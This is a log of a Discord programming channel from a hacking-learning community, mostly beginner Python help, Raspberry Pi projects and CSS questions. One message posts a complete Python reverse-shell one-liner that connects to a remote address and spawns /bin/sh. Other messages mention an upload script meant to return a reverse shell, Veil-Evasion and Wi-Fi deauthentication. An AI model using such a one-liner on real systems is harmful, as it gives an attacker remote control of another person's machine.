#programming

1 messages Β· Page 15 of 1

jovial compass
#

humm, a new channel

mystic nimbus
#

ssshh don't tell anyone

digital dove
#

Secret channel. Secret channel not being secret.

solar bay
#

I need your secret ingredient, Bee.

thin lynx
grizzled shore
#

Hi @thin lynx , I like to read the official documentation, it's complete enough to learn how to code some interesting things
https://docs.oracle.com/javase/tutorial/java/index.html
And if you want to practice, a couple of months ago i found these pages :
https://www.hackerrank.com/domains/java and https://exercism.io/tracks/java

vast mesa
clear needle
#

what

#

JavaScript != Java

#

Confusion

vast mesa
#

Oh F

limber frost
#

hah

#

only use java for minecraft
just because i have to

#

its ok, its like, if C had a ton of overhead, and you dropped it in syrup

#

bytecode is probably the most useful part of java

bright cedar
fervent kraken
#

the docs are great, but personally I don't see how you can study through there. for me it's best used as an in-depth reference. also there's the jetbrains academy if you can pay for it, or if you have a student e-mail you can get it for free. you have theory, examples, exercises, and you choose from a list of projects to build as you learn, not in the end. it's really great.

surreal bronze
#

These are my go-to sites for practicing programming (as of 01/12/20)

#
HackerRank

HackerRank is the market-leading technical assessment and remote interview solution for hiring developers. Learn how to hire technical talent from anywhere!

stone kayak
surreal bronze
#

interesting

tepid cargo
#

leetcode and hackerrank are mostly enough.

#

i started leetcode yesterday again with a new sessions

#

I am finding even easy problems medium. so my algo ds skill has dropped

tepid cargo
#

why this channel ded?

fervent kraken
#

😦

tepid cargo
#

😦

fervent kraken
#

probably everyone's hyped for aoc and not enough for programming right now

tepid cargo
#

programming getting no love pepehands

fervent kraken
#

I'm doing almost exclusively programming right now

#

cause I have to πŸ€·β€β™€οΈ lol

tepid cargo
#

me too.. i started security for fun but i am doing dev work for 4yrs now pepehands

#

i don't now why i put that emoji

#

cause i love being dev

fervent kraken
#

nice, it's a good background

tepid cargo
#

yeah I will try to spent a year or so in cybersec to measure the lanscape. if I don't like it I will go back to being dev

fervent kraken
#

well you can have good and bad experience in both fields I think

#

but it won't hurt towards finding what you like best

tepid cargo
#

yeah exactly

fervent kraken
#

are you freelancing?

tepid cargo
#

they have cybersec engg role and I have asked them to transfer me there

stone kayak
#

github released dark mode!!!

tepid cargo
#

what do u do in github?

#

other than searching and cloning

onyx merlin
#

Make new repos

stone kayak
#

chat to people

onyx merlin
#

Make typo fix PRs on rimworld mods that I like

stone kayak
#

check out what people are doing

tepid cargo
#

chat in github?

#

eh

stone kayak
#

yes via PRs / Issues

tepid cargo
#

damn imagine using a repo like a forum

#

🀣

fervent kraken
#

github is twitter for hackers

stone kayak
#

GitHub as a forum

tepid cargo
#

y do u have answer to everything bee pepehands

#

i don't like u

#

(okay i love u blobheart )

stone kayak
#

utterances is actually pretty gnarly

tepid cargo
#

anybody working with RTC?

#

this is part programming part security problem i am having

#

i am not getting a decent resource to see if i have an CWE-798 (hardcoded credentials) for a webrtc server what are the impacts

#

it's an android/ios rect native app

#

anybody got any idea?

digital dove
tepid cargo
lilac holly
tepid cargo
#

yeah so the syntax is wrong.

lilac holly
#

hmm how can i fix that?

tepid cargo
#
message = first + ' [' + last + '] is a coder'
#

this should pring: John [Smith] is a coder

magic falcon
#

What version of python ends a statement with a ';' ?

tepid cargo
#

lol yeah sorry kekw other lang habit.

#

but that is not wrong syntactically. Python supports semicolon as a separator. even though that is not needed most of the time.

>>> '5'+'3';
'53'
leaden cliff
#

Yep sure

surreal bronze
#

@magic falcon Hiya

fervent kraken
surreal bronze
#

So python supports ; as a new command on the same line

#

Now your statement does not include the right '', its thinking the last bit is a varible

#

Are you using python2 or 3? @lilac holly

#

For python 2

#

first = john
last = smith

msg = first + '[' + last + '] is a coder '
#

For python 3

#

first = john
last = smith

msg = f"{first} [ {last} ] is a coder" 

#

I hope this helped :)

#

Python 3 uses something called "f" or "function" statements, any variable goes int {}.

tepid cargo
devout root
#

should i ruin it

tepid cargo
#

NOO pls. I just got it pepehands

devout root
#

okie blobheart

tepid cargo
#

and don't downvote it blobknife

devout root
#

i will leave it at that magic number

tepid cargo
#

i mean u can if u don't like the answer lol

devout root
tepid cargo
#

❀️

magic falcon
magic falcon
#

So this is a python interpreter convention, not an actual part of the language.

digital iris
#

I think it is a part of the language

#

just discouraged as not "Pythonic"

magic falcon
#

Right, so it works, but it's considered a bad idiom

stone kayak
#

There's lots of things in the language that isn't considered Pythonic

#

Like functional programming stuff, Guido hates it πŸ˜›

digital iris
#

basically yeah...but it comes in handy if you want to pop a reverse shell as a one-liner

#

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

lilac holly
#

uhm

#

how do i like

#

code them to ask q eustion

#

monke_fact = int(input( ' monke_fact '))

#

i want them to like type

mystic nimbus
#

what language is your code running in

lilac holly
#

python

#

i want the user to type like

#

!monke fact

#

and a fact will pop up

#

oh wait im pretty sure i got it now

#

ill send u the code rn hold up

sharp coral
#

just got this sweet haul from FB marketplace, so many projects...such little time
What would y'all make (besides a Pi-hole/plex server/retropi)

mystic nimbus
#

good thing we are all still sitting at home

stone kayak
#

I made a hyperlocal weather station wiith mine

#

The weather of my bedroom

mystic nimbus
#

is it good weather

stone kayak
#

it could predict high amounts of humidity too, now that I have a dehumidifer I should make it turn it on lol

stone kayak
#

when i say hyperlocal i mean it was probably only good for maybe 2 or 3 feet outside of the Pi lol

lilac holly
#

how do i make something upper case

#

it was like upper()

stone kayak
#

in python yes

#
"hello".upper()
lilac holly
#

thx

onyx merlin
#

Esp32

stone kayak
magic falcon
#

@sharp coral How many do you have? I know there have been a few people who have gotten kubernetes clustered on a set of pis

cursive orchid
#

what’s that dashboard for bee?

tulip sail
#

A pihole @cursive orchid

cursive orchid
#

ahh ty

stone kayak
#

Via VPN

subtle coyote
#

Jake 🀬

#

Go to sleep!

stone kayak
cursive orchid
#

i have tried

stone kayak
#

I wrote a blog post on it

cursive orchid
#

for about an hour and a half

#

oo i’ll@gove it a read tomorrow :Β£

#

:)

subtle coyote
#

Holy typos

cursive orchid
#

my fave is basically in my pillow

#

face

mystic nimbus
#

who proofread your blog

#

but pretty cool one

stone kayak
#

My real blog I spend months editing posts πŸ™‚

mystic nimbus
#

pretty interesting way to save money, but I like the concept the best

sharp coral
#

bee are you using the default domain blocklists? those numbers are wild haha

stone kayak
#

My phone calls home A LOT

sharp coral
#

holy moly

magic falcon
#

My numbers are similar to Bee's

sharp coral
#

sheesh you guys need to browse less spammy sites πŸ˜›

magic falcon
#

eh, a lot of my traffic gets run through a work VPN

sharp coral
#

im usually ~20% blocked

magic falcon
#

not my fault my intranet is horrifying

#

also the point of the pi hole is to go to spammy sites and not get blasted with the CDNs πŸ™‚

sharp coral
#

btw james ESP32's are some of the best kept secrets imo

#

theres a place near me that sells them for like $4 a pop with onboard wifi and bluetooth

#

curious to know whatcha working on tho πŸ˜„

#

Im gonna be making a smart photo frame, a pwnagatchi (legal version), arduino tomagatchi clones and a headless retropi station

#

pwnagatchi is the only thing I wont be giving away as presents

clear needle
#

Why do you have to specify legal version of the pwnagatchi is there an illegal version?

sharp coral
#

they de-auth by default which makes em illegal

#

cute little illegal bugger tho

clear needle
#

de auth isn’t illegal by default

#

If it were then the WiFi pineapple would be illegal too which it isn’t

sharp coral
#

really? I though deauth was basically a form of DoS
If i walk past someones house with one of these and it deauths them from their network - denying them service - i would think thats illegal

clear needle
#

DoS isn’t illegal either

clear needle
sharp coral
#

time to petition my neighbors to sign a waiver allowing me to de-auth them

#

i understand tho, important distinction to be made

#

although I suppose I could also lab the regular version of the pwnagatchi and see how I can detect and prevent that sort of attack πŸ€”

onyx merlin
clear needle
#

FCC is wack

lilac holly
#

can soemone help me correct this

#

is_hot = True

if is_hot:
print("It's a hot day today. ")
print("Enjoy your fresh lemonade drink!")
else:
print("it's a cold day! ")
print('Enjoy your day! ')

tulip ibex
#

if is_hot:
    print("It's a hot day today. ")
    print("Enjoy your fresh lemonade drink!")
else:
    print("it's a cold day! ")
    print('Enjoy your day! ')```
#

missed indents

#

@lilac holly

lilac holly
#

oh indents matter?

tulip ibex
#

a lot

#

they have to be indented or they wont be recognized as if or else( sry if im bad in explaining)

lilac holly
#

thanks thats really nice to know

#

nah nah ur good

#

whered u learn this coding? reccomend any free courses to expand my knowledge?

tulip ibex
#

still learning

#

u learnign from mosh yt rigjt

lilac holly
#

yessir

#

howd u know XD

tulip ibex
#

i had seen that course once

lilac holly
#

hack my pc? dark

tulip ibex
#

is_hot

#

and all

#

i remeber

lilac holly
#

yup hes really helpful

tulip ibex
#

cool day

#

ya for begining

lilac holly
#

how long have you been coding?

tulip ibex
#

im also just 13

#

so like 3 4 months

#

u?

lilac holly
#

just started a day ago

tulip ibex
#

πŸ‘

lilac holly
#

goal is to code a discord bot

tulip ibex
lilac holly
#

if it succeeds I might actually try and make a career out of this

tulip ibex
#

i didnt learn python for bots or thingi

#

like i just was bored so leaned

#

me as a kid making a code which kids enjoy

#

like net scanner

lilac holly
#

nice

tulip ibex
#

and kids be like i hacked net

#

that can be good for them

lilac holly
#

did u also start with mosh?

tulip ibex
#

like a bit yea

#

but mostly self taught

#

like im 13 so have more free time to learn

lilac holly
#

damn self taught nice

#

what do u use to code?

#

if that didnt make sense i mean like PyCharm Sublime Text Etc

tulip ibex
#

intellih

#

intellij

lilac holly
#

what language you do?

tulip ibex
#

python

#

intellij i just took.....

lilac holly
#

u planning on learning anything else?

tulip ibex
#

yea

#

a lot

#

python, web hacking, networking, etc

#

wby

lilac holly
#

im still expermenting if that makes sense at all?

#

looking if theirs anything I have interest in

surreal bronze
#

Morning

fervent kraken
#

what are your favourite fonts for your editor/ide?

stone kayak
#

fira code

hollow root
hollow root
stone kayak
#

You're gonna have to be a lot more specific :-)

hollow root
gentle warren
#

@nimble canopy here is the programming channel

nimble canopy
#

Appreciate it

#

Anyone up to speed on HTML and CSS? I haven't touched it in probably 15 years.

#

I have a simple html/css template I am editing. I need to replace the main header image, but apparently it's not an image at all...it's css. I'm sure it's an easy remove css code and insert html code, but I"m not having any luck.

onyx merlin
#

It's probably set in CSS as a background

#

Something like that

nimble canopy
onyx merlin
#

Go to the css

#

Find where it's set

#

Change it?

nimble canopy
#

If it were that simple and I knew how to do that...I certainly would πŸ‘

#

I believe that's the CSS, and it's not a simple background statement

#

it's using many header.masthead .bg-circle-"number" to create the header image

onyx merlin
#

@nimble canopy The logical thing would be remove the circles, and set the header background in css to an image

nimble canopy
#

Yeah I'm attempting that...no luck so far

#

Not having any luck yet...still take any help on replacing that header with an image and eliminating the circle crap

tulip ibex
hollow root
#

do you know question answer

nimble canopy
# onyx merlin <@!737469045162639432> The logical thing would be remove the circles, and set th...

Any luck why this wouldn't work?
*/body{font-family:Lato}h1,h2,h3,h4,h5,h6{font-family:Catamaran;font-weight:800!important}.btn-xl{text-transform:uppercase;padding:1.5rem 3rem;font-size:.9rem;font-weight:700;letter-spacing:.1rem}.bg-black{background-color:#000!important}.rounded-pill{border-radius:5rem}.navbar-custom{padding-top:1rem;padding-bottom:1rem;background-color:rgba(0,0,0,.7)}.navbar-custom .navbar-brand{text-transform:uppercase;font-size:1rem;letter-spacing:.1rem;font-weight:700}.navbar-custom .navbar-nav .nav-item .nav-link{text-transform:uppercase;font-size:.8rem;font-weight:700;letter-spacing:.1rem}header.masthead{position:relative;overflow:hidden;padding-top:calc(7rem + 72px);padding-bottom:7rem;background-image: url(/img/01.jpg)}

onyx merlin
#

That's horrifying

nimble canopy
#

I think you missed the part I haven't done this in 10 years, hence the request for assistance lol

#

I just want a damn background CSS...why must you be so difficult!

#

🍻

onyx merlin
#

It's minified CSS

#

It's too early/late/dark/whatever to read minified css

nimble canopy
#

yeah, there's a non-mini version as well

tulip ibex
glacial silo
#

how can i make a web server with c++

onyx merlin
#

Have you googled it?

glacial silo
#

i have

glacial silo
#

and thats the one that i gave up on :"<

onyx merlin
#

Import a library, done

glacial silo
#

i already made the server client thingy

#

but i dont know how to make it online

#

beside buying a host....

onyx merlin
#

I really really recommend NOT exposing whatever you made to the internet

#

Because people will try to break it

#

And they are likely to succeed

glacial silo
#

what no :"< i was jsut trying to test out a chat server

#

but i got stuck at LAN

onyx merlin
#

Test it on your LAN then

glacial silo
#

.....

onyx merlin
#

Exposing your webserver to the internet isn't really a programming question

#

As someone who has machines directly connected to the internet, gathering data on attempted attacks, I really really really recommend not exposing it to the internet

glacial silo
#

sound dangerous .....

onyx merlin
#

It's not a programming question smh

glacial silo
#

uummm

#

can i dm u?

onyx merlin
#

I'd rather you didn't

ruby cipher
#

I've written a py script to upload file to ftp server.... the file is uploaded but it's not giving back the reverse shell

#

tried in advantcyber

dusty ore
#

Can someone help me with code? Its very simple but I got the error: list index out of range

#

The question is "calculate s[n] with n being the input of the user and s[0] = 0

true pumice
#

You might wanna change the while to a for

dusty ore
#

Let me try

true pumice
#

For x in range(n):

dusty ore
#

Doesnt work

#
def idk(n):
	s=[0]
	i = 0
	for i in range (n):
		temp = s[i] + 1
		s[i+1].append(temp)
	return s[n]	
lmao=int(input("Enter n: "))
print(idk(lmao))
#

Im confused

true pumice
#

Change the return s[n] line to just return s and see if the program runs

dusty ore
#

Nope

#

Still the same error

true pumice
#

I’d need to turn on my computer to properly try so I’ll do that when I wake up lmao

dusty ore
#

Haha thats alright. Thanks for your help blobheart

ruby cipher
#

initializetemp =""
rename the temp=s[] +iwith other name

ruby cipher
#

the problm will just break and exit

dusty ore
#

You mean like this?

#
def idk(n):
	s=[0]
	i = 0
	temp =""
	for i in range (n):
		temp = s[] + i
		s[i+1].append(temp)
	return s[n]
lmao=int(input("Enter n: "))
print(idk(lmao))
#

Nah idk

weary latch
#

Try this:

	s=[0]
	i = 0
	for i in range (n):
		temp = s[i] + 1
		s.append(temp)
	return s[n]	
lmao=int(input("Enter n: "))
print(idk(lmao))```
#

You tried to append something to the i+1 st element in s, but you actually want to append something to s

dusty ore
#

Oh

#

Understand

weary latch
#

What your appending is now in the place s[i+1]

dusty ore
#

It worked

#

Lmao

#

Thanks blobheart

weary latch
#

You're very welcome πŸ˜€

surreal bronze
# dusty ore

I know I'm late, but what are you trying to achieve? Have a list of all numbers up to the given int?

#

You can do that in one line

#

Output = list(range(1, Input+1))

weary current
#

hey there, i need some ideas to add in my discord bot . for now i have added features to send a random quote, a random meme, a random joke, send a random greeting message and to send dm to new memebers of a server.

somber hornet
#

i need to actually learn how to hack

tulip sail
#

You're in the right place 😁

stone kayak
faint slate
#

I am working on a game I guess this is a start ef TABLE[y][i] {
-47
}
def TABLE[-0.46][j] {
if(protect(--bar(ROWS,( 0.53 / y )) / --360.47,( --( COLS ) * TABLE[-20][-( -betray(rule(ROWS)) ) / --0.74 + COLS] )) - -0.46){
( COLS );
-52
};
dog *= Stark
}
def TABLE[Hodor][j] {
if(-Ygritte){
if(COLS){
if(dog){
-TABLE[-99][bar(( COLS ),-( betray(destroy()) ))];
bar(y,-86,rule(( 0.53 )));
x /= TABLE[-( -1 )][Arya]
};
dog
};
x += Jon;
y
} else {
Jon * Stark
}
}
assert bar(( ( foo(-TABLE[1][Stark],-ROWS,Ygritte) ) / ( -44 ) ) / ROWS / COLS,TABLE[45 / -15 * protect(COLS,-foo(( destroy() )))][-42 * mislead(mislead(),Arya)]) : "Nothing burns like the cold."

onyx merlin
#

Fun fact

#

Wrap it in triple backticks

faint slate
#

ok

onyx merlin
#

You can also put the language on the first line and then it will do syntax highlighting

faint slate
#

ok

#

my game is called the first women who walked on water

#

game should be done in a week

#

I'm trying to get a investment so I can get Robert Downey Jr on the game

#

I also want the home alone kid on the game as well

#

I also want roblox ceo to be on game to be the narrator

#

Eh and I might put george lucas on there I dont know yet

#

last but not least I want Julia Roberts to be the women who walked on water

brazen eagle
#

good gods that code is completely unreadable o.O

digital dove
#

They're no longer on the Discord.

onyx merlin
#

They were banned for being incredibly rude to other users, and trolling.

brazen eagle
#

sure, but the point still stands

#

problem is I've seen worse in my job

onyx merlin
#

It's actively obfuscated dogekek

lilac holly
#

can someone help real quick

#

weight_lbs = int(input("Weight: "))
unit = input("L(bs) or K(kg): ")
if unit.upper() == "L":
converted = weight_lbs * 0.4
print(f"You are{converted} kilos")

#

it shows Weight:

#

i put in 120

#

just hold up

onyx merlin
#

Use triple backticks for code

stone kayak
#

pls crop image too

#

i legit cant see anything

true pumice
#

@lilac holly

i = 0
var = ""

while i <= 5:
    var += '*'
    i += 1

var += ' you'
print(var)

Not the most efficient way but it works πŸ€·β€β™‚οΈ

But if you really wanted to make it the most efficient way:

print("***** you")
#

or if you wanted multiple iterations to be outputted:

i = 0
var = ""

while i <= 5:
  print('*' * i, ' you')
  i += 1
weary current
#

hey need a help

vague loom
surreal bronze
#

@true pumice want to go full efficiency?

#

Python2

x = 5
[print("*"*i + " you") for i in range(x)]

Python3

x = 5
[print(f"{'*'*i} you") for i in range(x)]
#

:)))

faint pike
#

-1 unnecessary comp

arctic maple
#

hi guys

primal widget
#

helo

true pumice
stone kayak
#

no because loop

#
i = 0
var = ""

while i <= 5:
  print('*' * i, ' you')
  i += 1
surreal bronze
ruby cipher
stone kayak
#

thats because it is

ruby cipher
magic falcon
#

It's also a pythonic way to replicate the string. Doing concatenation in a loop is about the worst possible way to join strings.

true pumice
surreal bronze
sly breach
#

You should pickup shell code πŸ˜„

true pumice
#

You can fit whole scripts on one line using ; in python, it's just messy

surreal bronze
#

I believe PEP-8 standards are max 32 chars per line, I go a bit above that but not to much

coarse ledge
surreal bronze
true pumice
#

If it can be done on two lines, might as well tbh.
If I'm doing something that's a massive code block but it's repetitive e.g. fake cmd loading screens, I do it on one line because it looks like this:

os.system("cls"); print("loading..."); time.sleep(0.3); os.system("cls"); print("loading..."); time.sleep(0.3)

etc.
It's just flashy and unnecessary to block code imo

surreal bronze
#

Yup

stone kayak
#

uglyyy

#

use functions and a loooop

surreal bronze
#

This:

for i in range(10):
    print(i)

Vs this

[print(i) for i in range(10)]

coarse ledge
true pumice
stone kayak
true pumice
#

You're using big words that I don't understand so it's going in one ear and out the other

surreal bronze
#

but what I could have done in 25 lines, I squezed into ~7

true pumice
#

bee what's your blog url

#

I need python tutorials

#

pls

stone kayak
true pumice
#

BEE

surreal bronze
#

@coarse ledge Using 0,len,2 just cocked the script up

#

Ill stick with i % 2

coarse ledge
coarse ledge
surreal bronze
#

ye

#

I tried using the datetime modual

#

but that got it the opposite kinda, like for example

#

if you worked from 12:00 --> 1:00

#

it would get 23 hours not 1 hour

coarse ledge
#

that's because when you write if i%2 it outputs if 1 for even numbers or if 0 for odd numbers so your condition is do this if i is an odd number

surreal bronze
#

Ye

#

You should join the discord python server

stone kayak
surreal bronze
#

no

stone kayak
#

uh oh

true pumice
#

Bee

surreal bronze
#

oops

stone kayak
#

dont share discord invites

true pumice
#

Bee

#

Bee

#

Bee

surreal bronze
#

Ill dm you

true pumice
#

What is your blog url

stone kayak
true pumice
#

Wait it channged?

surreal bronze
#

I thought that was a rick roll link

#

never trust bee

stone kayak
#

I'm Moving

surreal bronze
#

jabbba

true pumice
#

Mhm ik

stone kayak
#

pls

#

im moving blogs

#

Q.Q

true pumice
#

I need Bee's hack life

#

Whoops

#

I wrote that subconsciously

#

I meant I need Bee's python tutorials

surreal bronze
#

Rust > Python > Go ??

true pumice
#

Rust bad

#

Rust made me need therapy

surreal bronze
#

Python > Go > * > Rust

stone kayak
#

Rust is very nice

surreal bronze
#

I have assaulted bee

coarse ledge
#

Do you guys have resources for learning TypeScript?

surreal bronze
#

Looks like the question was already asked on reddit, maybe some off theses answers might help :P

coarse ledge
surreal bronze
#

hmm

#

Typescript is basically just stricter Javascript.

#

I would probably start with JS first

#

But you can learn TS just you would need to learn more syntax

coarse ledge
#

Yep that’s why I was wondering if there are resources that directly teach both or that the way to do it is learn JS then TS

surreal bronze
coarse ledge
tulip sail
#

It's at the wrong indentation

#

For a start

#

Second, I'd advise not putting the return inside the try block

#

Purely because there are more tests to do on it

acoustic fjord
tulip sail
#

I would love to know why w3schools has a python section, but meh

#

Oh, I suppose they do PHP as well

#

Must deal with setting up Django or something

surreal bronze
#

w3schools cover a lot of programming language

tulip sail
#

Talk about diversification smh

surreal bronze
#

yup

#
try:
    r = requests.get(url, params={'s': thing})
except requests.exceptions.Timeout:
    # Maybe set up for a retry, or continue in a retry loop
except requests.exceptions.TooManyRedirects:
    # Tell the user their URL was bad and try a different one
except requests.exceptions.ConnectionError:
    # Connection error
except requests.exceptions.RequestException as e:
    # catastrophic error. bail.
    raise SystemExit(e)
#

@somber current If you want specific things to happen depending on the error, you can use multiple excepts

true pumice
#

Are you specifying the full file path or just file name

#

Have you tried with and without the file path

#

You probably need os or whatever to grab the actual file path

#

e.g.

dir_path = os.path.dirname(os.path.realpath(__file__))
curr_file = os.path.basename(__file__)

file = open(curr_file, 'r')

This opens the current python file

#

Is that in the curr dir?

stone kayak
#

do you save the file?

#

ah nvm

#

opening

#

and yes you need to use os to get the file path

tight timber
#

Hello @everyone

true pumice
#

Don’t try to ping everyone.

tight timber
#

Does anyone know how to use Veil-Evasion?

tight timber
vague loom
surreal bronze
#

scala a good programming language?

tidal panther
#

depends, it used to be used for AI type programming but other languages took over

true pumice
#

^

#

A programming language is only as good as your use for it

coarse ledge
fleet crystal
#

Is there anyone who can help me learn more about hacking?

#

Cuz I’m a amateur

tulip sail
fleet crystal
#

Thanks

pallid mirage
#

Dealing with raw Telnet protocols - This... Is a very strange protocol. Parrot the same thing back to it a bunch of times and it gives you what you want.

#

This is like if TCP wanted to be UDP

short tangle
#

Guys? How can i repair it... Sry iam total beginer with python..

#

like to just write it once

stone kayak
#

can you post the code here

#

i cant see images

short tangle
#
minuty = int(input("VloΕΎ zbylΓ© minuty: "))
mzda = int(input("VloΕΎ kolik mΓ‘Ε‘ na hodinu: "))
datum = input("VloΕΎte datum: ")
minhod = minuty/60
koruny = "Kč"
def log():
    penΓ­ze = (hodiny + minhod) * mzda
    with open('prace.txt', 'a+') as f:
        f.write(f"{penΓ­ze, koruny, datum}\n")
        f.close()
        log()

log()```
stone kayak
#

in a codeblock?

short tangle
#

i think problem is there: "with open('prace.txt', 'a+') as f:" but iam not sure

coarse ledge
short tangle
#

Iam sorry it was program for me to work bcs when i work 14 hours in kitchen iam tired and then i dont want to calculate... Btw thank you. Next time i will write it in English. ❀️

surreal bronze
#

ah, from czeck!

#

πŸ‘‹

fleet crystal
#

ok so im kind of confused

#

the tryhackme lessons show how to break in to the networks in the lessons correct ?

#

ΰΌΌ ぀ β—•_β—• ༽぀

lilac holly
#

I am gonna use free code camp

rose grove
#

legit just got into learning how to program any tips?

tidal panther
#

pick a language and stick to it until you are halfway decent, do a little most every day, try various sites that help you improve or find your own projects to write

rose grove
#

ok thank you

onyx merlin
fleet crystal
#

so everyone in this vicinity are all hackers ?

#

now im al godd with hiding my identity and all

#

all good*

#

but this is some next level stuff

mystic nimbus
#

we are all ethical

true pumice
#

Hiding your identity is easy; just don't have a presence on the internet ezpz

clear needle
#

You have a presence on the internet even if you don’t think you do. Don’t be ignorant always understand your own opsec

onyx merlin
#

Muir doesn't exist though.

clear needle
#

Everyone except for muiri and Tim Taylor

stone kayak
#

Pro tip: Just live your life through a fake identity and no one will ever suspect anything

mystic nimbus
#

until your caught

fleet crystal
#

so i dont get it if we are hackers what exactly are we persuing

stone kayak
#

if*, you're assuming that your identity is somehow associated with your previous identity which would be the only way they would catch you

onyx merlin
#

Knowledge and understanding really

#

In the mean time

fleet crystal
#

what exactly is infosec

#

do you guys hack devices ?

#

because you guys,and girls seem to be pros

onyx merlin
#

Information security

fleet crystal
#

ok so information security

#

is there like money,or something exclusive

#

that we are exactly looking for

onyx merlin
#

Huh?

#

Jobs

#

We don't do illegal hacking here.

fleet crystal
#

ok

#

nice

onyx merlin
#

If that's what you're here for, I recommend you leave.

fleet crystal
#

no

#

im not looking for illegal hacking

#

i promise you if i did i wouldnt be here

onyx merlin
#

What are you looking for? Because this is the programming channel where we discuss programming

hybrid stream
#

ive always thought code is cool and i wanna get into it, how do i know its for me though?

brazen eagle
#

you try it to see if you enjoy it or not.

surreal bronze
#

Learn python

#

It's well known for being a great beginners language

brazen eagle
#

It is, but it also encourages sloppiness :(

terse coral
surreal bronze
#

If you need help then feel free to ask

terse coral
robust lava
#

Anyone got nice resources for x86 64?

tidal panther
rigid silo
#

Excuse me,
which programming language should I learn if I want to hash passwords and encypt them?

tulip sail
#

Most programming languages have hashing functions

#

Most programming languages have encryption functions

#

Don't encrypt passwords

coarse stratus
#

python i guess

rigid silo
#

ok thank you both

surreal bronze
#

Made a python script to automatically open the AoC day and connect to the openvpn when the day comes out. Any improvements or suggestions?

#

Will stop the vpn script when Cntrl C is detected or if openvpn fails

coarse ledge
# surreal bronze Made a python script to automatically open the AoC day and connect to the openvp...

In your main() function you could use try...except..finally... only once, and except Exception as e: so you can handle displaying errors, I would use the os module instead of subprocess to run the script os.system(f"....."), you could add an if __name__ == "__main__": before your while loop at the end and also a try: ... except KeyboardInterrupt: ... in your while loop so you can actually handle the error that ctrl-c would raise and also the else True in go_time = ... is unnecessary

#
if __name__ == "__main__":
  while True:
    try:
      if datetime.now(timezone.utc).hour == 4:
        main(vpn_config)
        break
    except KeyboardInterrupt:
      break

   sys.exit(0)
surreal bronze
dry bluff
#

Hello;

surreal bronze
#

Hi!

#

May we help with anything or just came to see whats up in the channel? :P @dry bluff

marble haven
#

I have a quick one, if i wanted to generate a password consisting of 7 digits and had to sha256 hash all of them until i found the start of one, which i knew the start to? Would it be as simple as that?

onyx merlin
#

I'd use a rainbow tablw like crackstation in preference to doing it yourself

#

Oh you don't know the whole hash

#

Yeah I'd just do it in python

#

Just bear in mind you might not get the right answer

marble haven
#

Yeah i was thinking about using a random table but only have the partial hash, Do you know how i would get my script to only print 7 digit numbers? at the minute i can only get them to start from 0?

#

ive just been very stupid if i start at 0000000? would that work?

onyx merlin
#

I think you can generate them quite easily

lucid jasper
#

check out string formatting in python

#

you can pad your numbers

onyx merlin
#

If I didn't care about efficiency I'd just do 7 nested for loops

marble haven
#

cheers il have a look

lucid jasper
#

that should give you a working example

marble haven
#

Ah cheers mate, thanks for doing the leg work for me πŸ™‚

lucid jasper
#

all good, just play around with a loop over a range and the string padding. If you have further problems, paste some code.

marble haven
#

thanks, will do

onyx merlin
#

Thanks for the idea, I wanna put something like that in a room now

lucid jasper
#

could probably do something around a room for generating good wordlists

#

that would probably actually make a good room, because i've been bitten in so many CTF challenges by forgetting to feed my wordlists properly

onyx merlin
#

It was made private afaik

marble haven
#

If you want the full details its for a SSH key i was given a un and IP and told to SSH in using brute force but password authentication is disabled so it wants me to generate then brute force the ssh key

onyx merlin
#

Huh. Ok.

marble haven
#

You can SSH into it with username "defender".

The SSH key is encrypted with a password.
Use brute-force to crack it:

  • the password consists of 7 digits
  • the SHA256 of the password string starts with E5D9D3A9C39
#

i hope thats what that means anyways

onyx merlin
#

Right ok that makes more sense

#

I'd write two short python scripts

#

But be incredibly careful about newlines

surreal bronze
#

Surely you could use a mask

#

Nvm just read that it starts with that

#

I'd also do what James said, using a nested loop also stops from duplicate numbers being used

#

So it would be something like

onyx merlin
#

I mean if you padded it, a for loop would ve just fine

#

0 to 99999999

surreal bronze
#
            loop
                loop
                    if sha1({1}{2}{3}...SSH etc = true break```
onyx merlin
#

Nested for loops are nasty

surreal bronze
#

Wdym?

marble haven
#

yeah im just reading the previous advice about padding zeores atm

surreal bronze
#

Oh intresting

#

But can you using padding

#

With multiple different numbers

#

Without using duplicates

marble haven
#

good question, i have no idea

lucid jasper
brazen eagle
#

that seems like a readily parallelizable task as well

onyx merlin
#

But there was a whole custom wordlist thing

marble haven
#

Hi guys, so ive mananged to print the number 0000000-9999999 but the question is instead of printing that i want it to actually hash it using SHA256 from the hashlib? then print but i will output it to a file? any ideas?

#

while num < 9999999:
print str(num).zfill(7)
num += 1

onyx merlin
#

That looks like python2

#

Convert to 3

sage oxide
#

πŸ˜‚

brazen eagle
#

Yeah python2 is dead and deader next month

dry bluff
onyx merlin
#

You don't need python for 90% of hacking.

stone kayak
#
img:hover
{
    -ms-transform: scale(2, 2);
    -webkit-transform: scale(2, 2);
    transform: scale(2, 2);
}

figure {
    text-align: center;
    line-height: 0.1em;
    padding: 1em;
    margin: 5px; /* adjust as needed */
}

figure img {
  vertical-align: top;
}

figure figcaption{
    text-align: center;
}
#

It doesn't break to a newline, it repeats the text on the same line

vague loom
#

Not sure but is it possible that it doesn't do that because the brace isn't spaced from figure figcaption

stone kayak
#

Ah it doesn't care about that πŸ˜„ CSS is very free with that kind of thing πŸ˜› πŸ˜„

sage oxide
#

Any website or resources to learn web development?

humble gorge
stone kayak
#

My article
"3 Tips For Making a Popular Open Source Project in 2021 [Ultimate Guide]"

Is finished! partyHard

https://polymath.cloud/make-popular-open-source-projects/

#

Oops no social card cri The SEO on that post must be terrible, I'll have to fix it πŸ˜…

brazen eagle
stone kayak
#

End me

brazen eagle
#

what's up?

stone kayak
#

CSS

brazen eagle
#

I'm sorry

#

I use it all the time when doing web stuff

#

there's a ton of useful guides for allmany of the tricky problems in CSS

#

although a lot of positioning issues can be solved by "use flexbox"

stone kayak
#

That's great thanks Hydra!!! ❀️

surreal bronze
brazen eagle
brazen eagle
surreal bronze
#

:P

sour apex
#

is there anybody that knows basic javascipt

brazen eagle
#

But if I see someone copy pasting stuff I ask them what the code does in review

#

Ask your question, someone will likely answer

sour apex
#

i wanted to know what a piece of code does

brazen eagle
#

Ok

sour apex
#

in otp verification, is the otp check done within the script or does it check with the database and find a match?

brazen eagle
#

Use three ` to enclose it

#

Ah

#

It's probably done server-side

devout root
#

thats a big nono if otp is done inside the client side script LOL

brazen eagle
#

